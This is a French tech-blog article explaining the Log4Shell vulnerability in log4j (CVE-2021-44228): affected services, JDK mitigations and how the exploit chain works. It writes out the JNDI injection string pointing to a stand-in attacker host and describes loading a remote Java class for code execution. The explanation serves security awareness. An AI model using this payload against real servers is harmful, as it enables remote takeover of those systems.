Charles TechCharles Tech
  • Tests High-Tech
    • Smartphones
      • iPhone
      • Asus
      • Huawei
      • Poco
      • Samsung
      • Xiaomi
    • Ordinateurs
      • PC fixe / gamer
      • PC portables
    • Composants PC
      • Cartes Graphiques
      • Processeurs
      • SSD
    • Eléctromenager
      • Aspirateurs robots
    • Périphériques
      • Claviers
      • Souris
  • Actu Tech
  • Bons plans
  • Dossiers
  • Guides d’achat
  • Tutos
  • Français
    • English
    • Deutsch
    • Español
    • Italiano
    • 日本語
    • Polski
Vous lisez Log4Shell : Détails de la plus grosse vulnérabilité de 2021
Font ResizerAa
Charles TechCharles Tech
Font ResizerAa
Rechercher ...
  • Tests High-Tech
    • Smartphones
    • Ordinateurs
    • Composants PC
    • Eléctromenager
    • Périphériques
  • Actu Tech
  • Bons plans
  • Dossiers
  • Guides d’achat
  • Tutos
  • Français
    • English
    • Deutsch
    • Español
    • Italiano
    • 日本語
    • Polski
Suivez-nous
Charles Tech > Dossiers > Log4Shell : Détails de la plus grosse vulnérabilité de 2021

Log4Shell : Détails de la plus grosse vulnérabilité de 2021

Louis Touzalin
Louis Touzalin
Published: 25/04/2023
Last updated: 25/04/2023
Ce site utilise des liens affiliés qui participent aux revenus du site. En les utilisant, ça ne vous coûte pas plus cher, mais un pourcentage nous est reversé pour continuer à vous informer et à proposer des tests toujours plus complets.
Partager
Sommaire
Qui est touché ?Comment fonctionne l’exploit ?

Le jeudi 9 décembre, une vulnérabilité a été découverte dans la bibliothèque de journalisation Java populaire log4j (version 2). Il permet d’exécuter un code à distance en enregistrant une certaine chaîne de caractères.

Compte tenu de l’omniprésence de cette bibliothèque, de l’impact de l’exploit (qui offre un contrôle total du serveur) et de sa facilité d’exploitation, en fait une vulnérabilité est assez grave.

Le 0-day a été tweeté avec une POC (Proof Of Concept) postée sur GitHub. Elle a maintenant été publiée sous le nom de CVE-2021-44228.

D'autres articles intéressants

Les rencontres par chat vidéo, l’un des formats les plus sûrs
Le processus de création d’une application, étape par étape
Keka : le meilleur gestionnaire d’archives pour macOS
Le cylindre électronique, un atout essentiel pour une sécurité moderne et efficace
À quel âge offrir un téléphone à son enfant ?

Qui est touché ?

De très nombreux services sont vulnérables à cet exploit. Des services de cloud computing comme Steam, Apple iCloud, ainsi que des applications comme Minecraft, se sont déjà révélés vulnérables.

Toute personne utilisant Apache Struts est probablement vulnérable. Nous avons déjà vu des vulnérabilités similaires exploitées dans des brèches comme celle d’Equifax en 2017.

De nombreux projets Open Source comme le serveur Minecraft, Paper, ont déjà commencé à appliquer des correctifs à leur utilisation de log4j2.

Il a été démontré que le simple fait de changer le nom d’un iPhone déclenche la vulnérabilité dans les serveurs d’Apple.

Mises à jour (3 heures après la publication) : Selon ce billet de blog (voir la traduction), les versions de JDK supérieures à 6u211, 7u201, 8u191, et 11.0.1 ne sont pas affectées par le vecteur d’attaque LDAP.

Dans ces versions, com.sun.jndi.ldap.object.trustURLCodebase est défini à false, ce qui signifie que JNDI ne peut pas charger de code distant en utilisant LDAP, sauf dans des cas très spécifiques. Cependant, il existe d’autres vecteurs d’attaque ciblant cette vulnérabilité qui peuvent aboutir à un RCE. Un attaquant peut toujours tirer parti du code existant sur le serveur pour exécuter une charge utile.

Une attaque ciblant la classe org.apache.naming.factory.BeanFactory, présente sur les serveurs Apache Tomcat, est discutée dans ce billet de blog. De plus, il existe certaines configurations spécifiques où une récupération JNDI à distance pourrait encore avoir lieu, comme décrit dans ce billet. Veuillez mettre à jour la dernière version de log4j pour une solution plus complète.

Comment fonctionne l’exploit ?

Comme je l’ai expliqué plus tôt, cette vulnérabilité s’exploite très facilement, bien plus que la plupart des failles que j’ai exploiter. Néanmoins, il faut tout de même quelques conditions pour que l’exploit fonctionne.

  • Un serveur avec une version vulnérable de log4j (listée ci-dessus).
  • Un Endpoint avec n’importe quel protocole (HTTP, TCP, etc.), qui permet à un attaquant d’envoyer la chaîne d’exploitation.
  • Une déclaration de journal qui enregistre la chaîne de cette requête.

Une fois ces éléments réunis, l’exploit s’avère très simple, l’exploit fonctionne de la manière suivante:

  • Les données de l’utilisateur sont envoyées au serveur (via n’importe quel protocole).
  • enregistre les données contenant la charge utile malveillante de la requête ${jndi:ldap://some-attacker.com/a}, où some-attacker.com est un serveur contrôlé par l’attaquant.
  • La vulnérabilité de log4j est déclenchée par ce Payload et le serveur fait une requête à some-attacker.com via « Java Naming and Directory Interface » (JNDI).
  • Cette réponse contient un chemin vers un fichier de classe Java distant (ex. http://second-stage.some-attacker.com/Exploit.class), qui est injecté dans le processus du serveur.
  • Ce Payload injecté déclenche une deuxième étape, et permet à un attaquant d’exécuter du code arbitraire.

Voici un exemple de code Java vulnérable à l’exploit Log4Shell :

Pour faire simple, ce morceau de code Java (langage dont je ne suis absolument pas un expert, je préfère le C c’est plus drôle), importe la librairie de Log4J d’une version vulnérable bien entendu.

Il initialise ensuite le Logger vulnérable puis le Endpoint HTTP requis pour l’exploitation de la 0-Day, puis il déclenche le RCE en enregistrant l’en-tête HTTP contrôlé par l’attaquant.

L’attaquant peut ensuite définir son en-tête X-Api-Version à : ${jndi:ldap://some-attacker.com/a} qui est la string malveillante.

Je l’ai testé personnellement dans un conteneur Docker créé par christophetd’s afin de vous en faire la démonstration pour afficher le fameux HelloWorld dans le log du serveur vulnérable.

Comme vous pouvez le voir, une fois l’exploit exécuté, le Log Java affiche ma string HelloWorld définie dans l’exploit. Inutile me direz vous ? prenez en compte que comme pour un exploit Buffer Overflow, il possible de remplacer le HelloWorld dans l’exploit par un morceau de code Java qui ouvrira une console d’administration, en clair cette vulnérabilité permet à peu près toutes les possibilités en termes d’usage.

En bref, cette vulnérabilité touche surtout les entreprises, assez peu les particuliers bien que nos données ont pu êtres en danger avant les mises à jour des serveurs, Google, Apache, Oracle, Microsoft, Steam et tant d’autres qui ont été très réactifs au vu de la dangerosité de cette 0-Day.

Partager cet article
Facebook Email Copy Link Imprimer
1 note

Laisser une note Annuler la réponse

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *

Sélectionnez une note

Notre partenaire

H9 Banner 300x600 FR

Réseaux sociaux

23kLike
38kSuivre
170Suivre
2.8kAbonnement
10.8kSuivre
1.1kSuivre
34Suivre

Vous aimerez aussi ...

Discord : comment maîtriser ce réseau dont la popularité ne cesse de croître ?

02/03/2022

Prototypes Apple : à quoi servent les appareils internes qui se vendent si cher ?

30/11/2021

Quels sont les éléments d’un site Web entièrement optimisé en 2023 ?

20/03/2023
mémoire ram ddr3

RAM DDR3 : Tout savoir sur cette technologie de mémoire vive

02/05/2023

A ne pas louper !

honor 400 appareil photo
Honor 400 : une offre de lancement prolongée jusqu’au 23 juin 
Bons plans
honor 400 appareil photo
Le Honor 400 est à un prix défiant toute concurrence pour son lancement
Bons plans
iphone 16 batterie problemes
iPhone 16 Pro Max : Comment l’acheter en plusieurs fois sans se ruiner ?
Bons plans
  • Annoncer sur CharlesTech
  • Mentions légales
  • Contactez nous
  • À propos
  • Plan de site
© Charles Tech 2017 - 2025 - Toute reproduction (même partielle) interdite sous peine de poursuites.
Re !

Connectez-vous

Username or Email Address
Password

Vous avez perdu votre mot de passe ?